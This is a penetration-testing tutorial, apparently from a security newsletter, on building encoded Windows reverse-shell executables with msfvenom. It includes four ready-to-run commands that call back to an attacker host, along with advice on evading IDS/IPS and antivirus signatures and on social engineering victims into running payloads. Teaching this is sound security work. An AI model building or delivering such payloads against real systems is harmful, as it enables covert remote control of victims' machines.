Reverse Shells from Binary Executable Payloads
Post Credit: Karl Gilbert
Binary payloads are executables that can be generated using the msfvenom framework and once executed on a victim machine, would give us access to the system. This is useful functionality as sometimes; it can be much easier to simply social engineer a person to infect their system with a payload instead of finding a vulnerability that can be exploited.
There are mainly two types of binary payload that msfvenom can generate: PE and ELF. PE stands for Portable Executable (PE) format and is used for executables, object code, DLLs, and others used in Windows operating systems. ELF stands for Executable and Linkable Format (formerly named Extensible Linking Format) and is used for executable files, object code, shared libraries, and core dumps on Unix and Unix-like i.e., Linux and other operating systems.
Types of Reverse Shells
Let’s review the different types of reverse shells:
1. Reverse TCP: Reverse TCP shells provide interactive and stable connections when the payload connects back to our attacker machine. However, this comes at a cost. It is often less stealthy as connecting to a nonstandard port like 6666 or 4444 can trigger alarms on IDS/IPS and other network monitoring solutions. Also, a raw TCP connection going to port 80/443 can also seem suspicious. Therefore, we have more sophisticated payloads as a workaround.
2. Reverse HTTP: Reverse HTTP payloads use the HTTP protocol instead of TCP and therefore can seem like legitimate traffic on network monitoring tools. However, HTTP payloads are slow in response and can cause lag. Also, HTTP is plaintext, therefore the traffic can be sniffed and monitored.
3. Reverse HTTPS: Reverse HTTPS payload upgrades the HTTP connection to a secure HTTPS connection with encryption so that all communication is encrypted and cannot be monitored on the network. Therefore, an HTTPS connection to port 443 would look like a legitimate network connection on IDS/IPS systems.
How to Generate a Payload using Msfvenom
The following commands show how to generate individual payloads for every type of shell.
Msfvenom has the following arguments:
- -a: System Architecture (x86/64)
- –platform: OS of the target system
- -p: Payload
- LHOST: Attack Server to connect back to
- LPORT: Port to connect back to
- -e: Encoder
- -b: Bad character to remove
- -nopsled: To add a few NOPs at the start of the payload
- -I: Number of iterations to run the encoder
- -f: File type for payload
- -o: Output filename
Encoders
Encoders are used to encode the payload and convert it into pure alphanumeric characters and remove any bad characters to make it suited for the target environment. Msf has a few encoders and here we will be using the most popular shikata_ga_nai encoder. The word “shikata_ga_nai” in Japanese means “Nothing Can Be Done”. It implements a polymorphic XOR additive feedback encoder, and is mainly useful because of the following reasons:
- The encoding makes use of a decoder stub that is generated using metamorphic techniques and it produces a different signature every time the payload is generated in an attempt to avoid signature detection.
- The encoder uses a chained self-modifying key which means if the decoding input or the keys are incorrect, it will not produce the correct output.
- The decoder stub is partially obfuscated and it is protected against emulation using FPU instructions.
One more reason we use encoders is to get rid of bad characters like “\x00”. This is because if the exploit code has to go through a vulnerable function like strcpy(), then the null byte needs to be removed for the payload to work correctly.
A less popular encoder is the x86/countdown. However, this encoder comes in handy if we are looking to encode a payload without increasing its byte size by too much. Shikata_ga_nai would be able to get rid of bad characters easily, however, to fulfill that, it would grow the payload exponentially. A 5-byte payload would increase to 98 bytes after shikata_ga_nai encoding, however, the x86/countdown encoder would only increase it to 11 bytes. This comes in handy when we have very limited memory available to include a payload after encoding it.
NOP Sled
MSF provides the option to add a NOP sled to the beginning of the payload. A NOP sled is a sequence of NOP commands which is used to slide the CPU’s execution to a desired choice of address. While generating payloads, we can choose to add a NOP Sled to the beginning of our shellcode so that we have a fairly large range of memory addresses to redirect code execution during a buffer overflow. The NOP Sled would then slide the execution to our payload once we are able to redirect code execution to the NOP sled.
Let’s look at how to create these using the msfvenom command line. Note, the ‘<<>>’ string after LHOST needs to be replaced with a valid IP address.
1. Reverse TCP Shell
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=<< >> LPORT=443 -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f exe -o payload.exe
2. Reverse HTTP Shell
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_http LHOST=<<>> LPORT=443 -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f exe -o payload.exe
3. Reverse HTTPS Shell
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_https LHOST=<<>> LPORT=443 -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f exe -o payload.exe
4. Reverse UDP Shell
msfvenom -a x86 –platform Windows -p payload/windows/shell/reverse_udp LHOST=<<>> LPORT=443 -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f exe -o payload.exe
Disclaimer: Ensure you only pentest systems and networks that you own or have legal permissions to do so.
The SecPro is a weekly security newsletter to help you stay sharp and upgrade your skills with trending threat insights, practical tutorials, hands-on labs, and useful resources. Build skills in as little as 10 minutes. Join the newsletter here.
